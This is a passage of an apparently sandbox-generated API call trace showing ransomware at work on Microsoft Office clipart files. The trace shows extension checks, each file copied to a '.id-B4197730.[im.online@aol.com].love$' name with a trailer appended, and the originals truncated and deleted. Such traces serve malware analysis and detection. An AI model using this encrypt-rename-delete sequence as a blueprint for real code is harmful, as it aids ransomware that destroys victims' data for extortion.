(lpString1=".jpg", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.885] lstrlenW (lpString=".doc") returned 4 [0273.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.885] lstrlenW (lpString=".docx") returned 5 [0273.885] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.885] lstrlenW (lpString=".pdf") returned 4 [0273.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.886] lstrlenW (lpString=".xls") returned 4 [0273.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.886] lstrlenW (lpString=".xlsx") returned 5 [0273.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.886] lstrlenW (lpString=".ppt") returned 4 [0273.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.886] lstrlenW (lpString=".zip") returned 4 [0273.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.889] lstrlenW (lpString=".rar") returned 4 [0273.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString=".bz2") returned 4 [0273.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.890] lstrlenW (lpString=".7z") returned 3 [0273.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.909] lstrlenW (lpString=".dbf") returned 4 [0273.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.933] lstrlenW (lpString=".1cd") returned 4 [0273.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0273.934] lstrlenW (lpString=".jpg") returned 4 [0273.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.934] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.934] lstrlenW (lpString="J0105298.WMF") returned 12 [0273.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.936] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6320) returned 1 [0273.937] CloseHandle (hObject=0x388) returned 1 [0273.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0273.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.937] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.938] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.939] GetLastError () returned 0x0 [0273.939] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0273.953] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0273.955] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.955] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.955] SetEndOfFile (hFile=0x4e4) returned 1 [0273.955] CloseHandle (hObject=0x4e4) returned 1 [0273.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.955] SetEndOfFile (hFile=0x388) returned 1 [0273.964] CloseHandle (hObject=0x388) returned 1 [0274.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0274.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.313] lstrlenW (lpString=".doc") returned 4 [0274.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString=".docx") returned 5 [0274.313] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0274.313] lstrlenW (lpString=".pdf") returned 4 [0274.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString=".xls") returned 4 [0274.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.313] lstrlenW (lpString=".xlsx") returned 5 [0274.313] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0274.313] lstrlenW (lpString=".ppt") returned 4 [0274.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.313] lstrlenW (lpString=".zip") returned 4 [0274.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.313] lstrlenW (lpString=".rar") returned 4 [0274.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString=".bz2") returned 4 [0274.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString=".7z") returned 3 [0274.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.313] lstrlenW (lpString=".dbf") returned 4 [0274.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.314] lstrlenW (lpString=".1cd") returned 4 [0274.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.314] lstrlenW (lpString=".jpg") returned 4 [0274.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.314] lstrlenW (lpString=".doc") returned 4 [0274.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString=".docx") returned 5 [0274.314] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0274.314] lstrlenW (lpString=".pdf") returned 4 [0274.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString=".xls") returned 4 [0274.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.314] lstrlenW (lpString=".xlsx") returned 5 [0274.314] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0274.314] lstrlenW (lpString=".ppt") returned 4 [0274.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.314] lstrlenW (lpString=".zip") returned 4 [0274.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.314] lstrlenW (lpString=".rar") returned 4 [0274.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.314] lstrlenW (lpString=".bz2") returned 4 [0274.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.315] lstrlenW (lpString=".7z") returned 3 [0274.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.315] lstrlenW (lpString=".dbf") returned 4 [0274.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.315] lstrlenW (lpString=".1cd") returned 4 [0274.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0274.315] lstrlenW (lpString=".jpg") returned 4 [0274.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.315] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.315] lstrlenW (lpString="J0105336.WMF") returned 12 [0274.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0274.316] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2900) returned 1 [0274.317] CloseHandle (hObject=0x47c) returned 1 [0274.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0274.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0274.318] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.318] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0274.319] GetLastError () returned 0x0 [0274.319] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xb54, lpOverlapped=0x0) returned 1 [0274.322] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb60, lpOverlapped=0x0) returned 1 [0274.323] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.323] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.324] SetEndOfFile (hFile=0x57c) returned 1 [0274.324] CloseHandle (hObject=0x57c) returned 1 [0274.324] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.324] SetEndOfFile (hFile=0x47c) returned 1 [0274.328] CloseHandle (hObject=0x47c) returned 1 [0274.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.331] lstrlenW (lpString=".doc") returned 4 [0274.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.331] lstrlenW (lpString=".docx") returned 5 [0274.331] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.332] lstrlenW (lpString=".pdf") returned 4 [0274.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString=".xls") returned 4 [0274.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.332] lstrlenW (lpString=".xlsx") returned 5 [0274.332] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.332] lstrlenW (lpString=".ppt") returned 4 [0274.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.332] lstrlenW (lpString=".zip") returned 4 [0274.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.332] lstrlenW (lpString=".rar") returned 4 [0274.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString=".bz2") returned 4 [0274.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString=".7z") returned 3 [0274.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.332] lstrlenW (lpString=".dbf") returned 4 [0274.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.332] lstrlenW (lpString=".1cd") returned 4 [0274.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.332] lstrlenW (lpString=".jpg") returned 4 [0274.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.333] lstrlenW (lpString=".doc") returned 4 [0274.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString=".docx") returned 5 [0274.333] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.333] lstrlenW (lpString=".pdf") returned 4 [0274.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString=".xls") returned 4 [0274.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.333] lstrlenW (lpString=".xlsx") returned 5 [0274.333] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.333] lstrlenW (lpString=".ppt") returned 4 [0274.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.333] lstrlenW (lpString=".zip") returned 4 [0274.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.333] lstrlenW (lpString=".rar") returned 4 [0274.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString=".bz2") returned 4 [0274.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.333] lstrlenW (lpString=".7z") returned 3 [0274.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.333] lstrlenW (lpString=".dbf") returned 4 [0274.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.334] lstrlenW (lpString=".1cd") returned 4 [0274.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0274.334] lstrlenW (lpString=".jpg") returned 4 [0274.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.334] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.334] lstrlenW (lpString="J0105338.WMF") returned 12 [0274.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0274.335] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11584) returned 1 [0274.335] CloseHandle (hObject=0x47c) returned 1 [0274.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0274.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0274.336] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.336] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0274.338] GetLastError () returned 0x0 [0274.338] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0274.341] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0274.343] ReadFile (in: hFile=0x47c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.343] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.343] SetEndOfFile (hFile=0x57c) returned 1 [0274.343] CloseHandle (hObject=0x57c) returned 1 [0274.343] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.343] SetEndOfFile (hFile=0x47c) returned 1 [0274.347] CloseHandle (hObject=0x47c) returned 1 [0274.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0274.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.349] lstrlenW (lpString=".doc") returned 4 [0274.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.349] lstrlenW (lpString=".docx") returned 5 [0274.349] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0274.349] lstrlenW (lpString=".pdf") returned 4 [0274.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.349] lstrlenW (lpString=".xls") returned 4 [0274.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.350] lstrlenW (lpString=".xlsx") returned 5 [0274.350] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0274.350] lstrlenW (lpString=".ppt") returned 4 [0274.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.350] lstrlenW (lpString=".zip") returned 4 [0274.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.350] lstrlenW (lpString=".rar") returned 4 [0274.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString=".bz2") returned 4 [0274.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString=".7z") returned 3 [0274.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.350] lstrlenW (lpString=".dbf") returned 4 [0274.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.350] lstrlenW (lpString=".1cd") returned 4 [0274.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.350] lstrlenW (lpString=".jpg") returned 4 [0274.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0274.351] lstrlenW (lpString=".doc") returned 4 [0274.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.351] lstrlenW (lpString=".docx") returned 5 [0274.351] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0274.351] lstrlenW (lpString=".pdf") returned 